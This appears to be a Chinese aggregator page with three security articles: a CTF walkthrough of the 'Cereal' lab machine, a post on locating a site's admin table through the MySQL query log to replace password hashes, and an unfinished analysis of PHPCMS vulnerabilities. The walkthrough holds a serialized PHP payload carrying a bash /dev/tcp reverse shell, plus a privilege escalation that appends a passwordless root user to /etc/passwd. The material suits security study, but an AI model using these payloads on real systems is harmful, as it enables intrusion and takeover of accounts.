再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
PHP網(wǎng)站后臺密碼繞過(guò)系列-查找后臺的數據庫表
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 47 次瀏覽 ? 2022-06-17 17:19
前言:上期給大家介紹了如何找到PHP網(wǎng)站后臺登錄驗證函數,今天繼續給大家分享后續步驟方法。
通過(guò)上期介紹我們可以找到網(wǎng)站的驗證函數,通過(guò)驗證函數我們可以找到密鑰的加密方式。
接下來(lái)就是進(jìn)數據庫直接替換,更改密碼,進(jìn)后臺了……美滋滋
可是,可是,可是,當打開(kāi)數據庫表時(shí)才發(fā)現——我是誰(shuí),我在哪,我要干啥……靈魂三問(wèn)?。?!
誰(shuí)能告訴我哪個(gè)才是后臺的用戶(hù)表??!
別急,這期告訴你一招簡(jiǎn)單的方法就能精準找到那個(gè)讓你魂牽夢(mèng)繞的user表。
我們的方法是:日志
MySQL的查詢(xún)日志記錄了所有MySQL數據庫請求的信息。MySQL配置文件中的參數general_log用來(lái)控制開(kāi)啟、關(guān)閉MySQL查詢(xún)日志;
在general_log開(kāi)啟狀態(tài)下, 網(wǎng)站頁(yè)面對數據庫做的所有操作都會(huì )被記錄下來(lái),就很容易知道操作的是哪個(gè)表。
接下來(lái)看看如何查看和打開(kāi)general_log;
進(jìn)入mysql,執行“show variables like '%general%'”命令可以查看日志當前狀態(tài),默認情況下日志處于關(guān)閉狀態(tài)。
這時(shí)候只需要再執行“set global general_log=on”命令就可開(kāi)啟查詢(xún)日志
?。ㄔ诿钕麻_(kāi)啟,只是臨時(shí)開(kāi)啟,重啟服務(wù)后就回到默認狀態(tài),不影響后續的使用)
下面我們以登錄網(wǎng)站后臺驗證下是否可以找到用戶(hù)表。
在網(wǎng)站后臺頁(yè)面賬號密碼框隨便輸入一個(gè)用戶(hù)名進(jìn)行測試。
然后回到MySQL日志所在路徑,訪(fǎng)問(wèn)general_log日志文件,搜索我們剛才輸入的用戶(hù)名就會(huì )發(fā)現網(wǎng)站所調用的表。
打開(kāi)表看看,確實(shí)是后臺用戶(hù)表
這時(shí)候就可以替換密鑰啦,注意有salt喲......
喜歡小知的話(huà)請不要忘了關(guān)注,點(diǎn)贊,轉發(fā)! 查看全部
PHP網(wǎng)站后臺密碼繞過(guò)系列-查找后臺的數據庫表
前言:上期給大家介紹了如何找到PHP網(wǎng)站后臺登錄驗證函數,今天繼續給大家分享后續步驟方法。
通過(guò)上期介紹我們可以找到網(wǎng)站的驗證函數,通過(guò)驗證函數我們可以找到密鑰的加密方式。
接下來(lái)就是進(jìn)數據庫直接替換,更改密碼,進(jìn)后臺了……美滋滋
可是,可是,可是,當打開(kāi)數據庫表時(shí)才發(fā)現——我是誰(shuí),我在哪,我要干啥……靈魂三問(wèn)?。?!
誰(shuí)能告訴我哪個(gè)才是后臺的用戶(hù)表??!
別急,這期告訴你一招簡(jiǎn)單的方法就能精準找到那個(gè)讓你魂牽夢(mèng)繞的user表。
我們的方法是:日志
MySQL的查詢(xún)日志記錄了所有MySQL數據庫請求的信息。MySQL配置文件中的參數general_log用來(lái)控制開(kāi)啟、關(guān)閉MySQL查詢(xún)日志;
在general_log開(kāi)啟狀態(tài)下, 網(wǎng)站頁(yè)面對數據庫做的所有操作都會(huì )被記錄下來(lái),就很容易知道操作的是哪個(gè)表。
接下來(lái)看看如何查看和打開(kāi)general_log;
進(jìn)入mysql,執行“show variables like '%general%'”命令可以查看日志當前狀態(tài),默認情況下日志處于關(guān)閉狀態(tài)。
這時(shí)候只需要再執行“set global general_log=on”命令就可開(kāi)啟查詢(xún)日志
?。ㄔ诿钕麻_(kāi)啟,只是臨時(shí)開(kāi)啟,重啟服務(wù)后就回到默認狀態(tài),不影響后續的使用)
下面我們以登錄網(wǎng)站后臺驗證下是否可以找到用戶(hù)表。
在網(wǎng)站后臺頁(yè)面賬號密碼框隨便輸入一個(gè)用戶(hù)名進(jìn)行測試。
然后回到MySQL日志所在路徑,訪(fǎng)問(wèn)general_log日志文件,搜索我們剛才輸入的用戶(hù)名就會(huì )發(fā)現網(wǎng)站所調用的表。
打開(kāi)表看看,確實(shí)是后臺用戶(hù)表
這時(shí)候就可以替換密鑰啦,注意有salt喲......
喜歡小知的話(huà)請不要忘了關(guān)注,點(diǎn)贊,轉發(fā)!
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 79 次瀏覽 ? 2022-06-14 13:43
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
